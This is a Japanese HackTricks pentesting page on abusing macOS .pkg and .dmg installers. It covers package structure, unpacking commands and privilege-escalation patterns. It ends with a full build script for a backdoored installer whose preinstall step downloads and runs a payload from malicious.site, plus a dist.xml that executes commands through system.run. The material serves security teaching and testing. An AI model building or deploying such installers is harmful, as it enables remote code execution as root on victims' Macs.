macOS Installers Abuse

Support HackTricks

Pkg 基本情報

macOSのインストーラーパッケージ.pkgファイルとも呼ばれる)は、macOSがソフトウェアを配布するために使用するファイル形式です。これらのファイルは、ソフトウェアが正しくインストールおよび実行するために必要なすべてを含む箱のようなものです。

パッケージファイル自体は、ターゲットコンピュータにインストールされるファイルとディレクトリの階層を保持するアーカイブです。また、インストール前後にタスクを実行するためのスクリプトを含むこともでき、設定ファイルのセットアップや古いバージョンのソフトウェアのクリーンアップなどを行います。

階層

  • Distribution (xml): カスタマイズ(タイトル、ウェルカムテキスト…)およびスクリプト/インストールチェック

  • PackageInfo (xml): 情報、インストール要件、インストール場所、実行するスクリプトへのパス

  • Bill of materials (bom): インストール、更新、または削除するファイルのリストとファイル権限

  • Payload (CPIOアーカイブgzip圧縮): PackageInfoからinstall-locationにインストールするファイル

  • Scripts (CPIOアーカイブgzip圧縮): インストール前後のスクリプトおよび実行のために一時ディレクトリに抽出されたその他のリソース。

解凍

# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"

# Get the files ina. more manual way
mkdir -p "/path/to/out/dir"
cd "/path/to/out/dir"
xar -xf "/path/to/package.pkg"

# Decompress also the CPIO gzip compressed ones
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts

インストーラーの内容を手動で解凍せずに視覚化するには、無料ツールSuspicious Packageを使用することもできます。

DMG基本情報

DMGファイル、またはAppleディスクイメージは、AppleのmacOSでディスクイメージに使用されるファイル形式です。DMGファイルは本質的にマウント可能なディスクイメージ(独自のファイルシステムを含む)で、通常は圧縮され、時には暗号化された生のブロックデータを含んでいます。DMGファイルを開くと、macOSはそれを物理ディスクのようにマウントし、その内容にアクセスできるようにします。

.dmgインストーラーは非常に多くの形式をサポートしており、過去には脆弱性を含むものが悪用されてカーネルコード実行を取得されることがありました。

階層

DMGファイルの階層は、内容に基づいて異なる場合があります。ただし、アプリケーションDMGの場合、通常は次の構造に従います:

  • トップレベル:これはディスクイメージのルートです。通常、アプリケーションと、場合によってはアプリケーションフォルダへのリンクが含まれています。

  • アプリケーション(.app):これは実際のアプリケーションです。macOSでは、アプリケーションは通常、アプリケーションを構成する多くの個別のファイルとフォルダを含むパッケージです。

  • アプリケーションリンク:これはmacOSのアプリケーションフォルダへのショートカットです。これにより、アプリケーションを簡単にインストールできるようになります。このショートカットに.appファイルをドラッグすることで、アプリをインストールできます。

pkg悪用による特権昇格

公共ディレクトリからの実行

例えば、事前または事後インストールスクリプトが**/var/tmp/Installerutil**から実行されている場合、攻撃者がそのスクリプトを制御できれば、実行されるたびに特権を昇格させることができます。別の類似の例:

AuthorizationExecuteWithPrivileges

これは、いくつかのインストーラーやアップデーターがrootとして何かを実行するために呼び出す公開関数です。この関数は、実行するファイルの パスをパラメータとして受け取りますが、攻撃者がこのファイルを変更できれば、特権を昇格させるためにrootでの実行を悪用できるようになります。

# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig

For more info check this talk: https://www.youtube.com/watch?v=lTOItyjTTkw

実行によるマウント

インストーラーが /tmp/fixedname/bla/bla に書き込む場合、noowners/tmp/fixedname 上に マウントを作成 することが可能で、インストール中に 任意のファイルを変更 してインストールプロセスを悪用することができます。

これの例が CVE-2021-26089 で、定期的なスクリプトを上書き して root として実行を得ることに成功しました。詳細については、こちらのトークを参照してください: OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl

pkgをマルウェアとして

空のペイロード

実際のペイロードはなく、スクリプト内のマルウェア だけを含む .pkg ファイルを生成することが可能です。

配布xml内のJS

パッケージの distribution xml ファイルに <script> タグを追加することが可能で、そのコードは実行され、system.run を使用して コマンドを実行 できます:

バックドア付きインストーラー

dist.xml 内のスクリプトとJSコードを使用した悪意のあるインストーラー

# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts

# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF

# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg

# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF

# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg

参考文献

HackTricksをサポートする

Last updated